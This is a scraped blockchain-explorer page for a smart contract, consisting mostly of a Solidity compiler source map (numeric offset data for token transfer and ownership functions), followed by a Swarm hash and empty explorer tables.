;;;;;;;-1:-1:-1;;;;;9041:31:0;;;;;;;;;;:38;;;9095:36;9016:12;;9041:31;;9095:36;;;;9075:4;1342:25:1;;1330:2;1315:18;;1196:177;9095:36:0;;;;;;;;-1:-1:-1;9149:4:0;8951:210;;;;;:::o;9826:288::-;9916:12;9941:34;9948:8;9958:10;9970:4;9941:6;:34::i;:::-;-1:-1:-1;;;;;;10002:19:0;;;;;;:9;:19;;;;;;;;10022:10;10002:31;;;;;;;;9994:39;;;9986:48;;;;;;-1:-1:-1;;;;;10045:19:0;;;;;;:9;:19;;;;;;;;10065:10;10045:31;;;;;;;:39;;10080:4;;10045:19;:39;;10080:4;;10045:39;:::i;:::-;;;;-1:-1:-1;10102:4:0;;9826:288;-1:-1:-1;;;;;9826:288:0:o;6966:148::-;6536:6;;-1:-1:-1;;;;;6536:6:0;5699:10;6536:22;6528:67;;;;-1:-1:-1;;;6528:67:0;;3416:2:1;6528:67:0;;;3398:21:1;;;3435:18;;;3428:30;3494:34;3474:18;;;3467:62;3546:18;;6528:67:0;;;;;;;;;7073:1:::1;7057:6:::0;;7036:40:::1;::::0;-1:-1:-1;;;;;7057:6:0;;::::1;::::0;7036:40:::1;::::0;7073:1;;7036:40:::1;7104:1;7087:19:::0;;-1:-1:-1;;;;;;7087:19:0::1;::::0;;6966:148::o;10122:31::-;;;;;;;:::i;10162:159::-;10230:12;10255:36;10262:10;10274;10286:4;10255:6;:36::i;:::-;-1:-1:-1;10309:4:0;;10162:159;-1:-1:-1;;;10162:159:0:o;7269:244::-;6536:6;;-1:-1:-1;;;;;6536:6:0;5699:10;6536:22;6528:67;;;;-1:-1:-1;;;6528:67:0;;3416:2:1;6528:67:0;;;3398:21:1;;;3435:18;;;3428:30;3494:34;3474:18;;;3467:62;3546:18;;6528:67:0;3214:356:1;6528:67:0;-1:-1:-1;;;;;7358:22:0;::::1;7350:73;;;::::0;-1:-1:-1;;;7350:73:0;;3777:2:1;7350:73:0::1;::::0;::::1;3759:21:1::0;3816:2;3796:18;;;3789:30;3855:34;3835:18;;;3828:62;-1:-1:-1;;;3906:18:1;;;3899:36;3952:19;;7350:73:0::1;3575:402:1::0;7350:73:0::1;7460:6;::::0;;7439:38:::1;::::0;-1:-1:-1;;;;;7439:38:0;;::::1;::::0;7460:6;::::1;::::0;7439:38:::1;::::0;::::1;7488:6;:17:::0;;-1:-1:-1;;;;;;7488:17:0::1;-1:-1:-1::0;;;;;7488:17:0;;;::::1;::::0;;;::::1;::::0;;7269:244::o;9169:516::-;-1:-1:-1;;;;;9283:16:0;;9254:12;9283:16;;;:6;:16;;;;;;:21;;9279:208;;9325:13;;-1:-1:-1;;;;;9325:25:0;;;:13;;:25;;;;:49;;-1:-1:-1;;;;;;9354:16:0;;9373:1;9354:16;;;:6;:16;;;;;;:20;;9325:49;9321:113;;;9415:3;;-1:-1:-1;;;;;9395:16:0;;;;;;:6;:16;;;;;:23;;:16;;;:23;;9415:3;;9395:23;:::i;:::-;;;;-1:-1:-1;;9321:113:0;-1:-1:-1;;;;;9448:19:0;;;;;;:9;:19;;;;;:27;;9471:4;;9448:19;:27;;9471:4;;9448:27;:::i;:::-;;;;-1:-1:-1;;9279:208:0;-1:-1:-1;;;;;9497:21:0;;;;;;:9;:21;;;;;:29;;9522:4;;9497:21;:29;;9522:4;;9497:29;:::i;:::-;;;;-1:-1:-1;;9549:1:0;9541:9;;;9537:67;;9589:3;;-1:-1:-1;;;;;9567:18:0;;;;;;:6;:18;;;;;:25;;:18;;;:25;;9589:3;;9567:25;:::i;:::-;;;;-1:-1:-1;;9537:67:0;9638:10;-1:-1:-1;;;;;9619:36:0;9628:8;-1:-1:-1;;;;;9619:36:0;;9650:4;9619:36;;;;1342:25:1;;1330:2;1315:18;;1196:177;9619:36:0;;;;;;;;-1:-1:-1;9673:4:0;9169:516;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;2108:186;-1:-1:-1;;;2108:186:1:o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:128;3148:9;;;3169:11;;;3166:37;;;3183:18;;:::i;3982:125::-;4047:9;;;4068:10;;;4065:36;;;4081:18;;:::i

Swarm Source

ipfs://5934b2ddaad4a310efe72d412e1c9e7d0ca7f1545896a847a7d5682e2c21b682

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.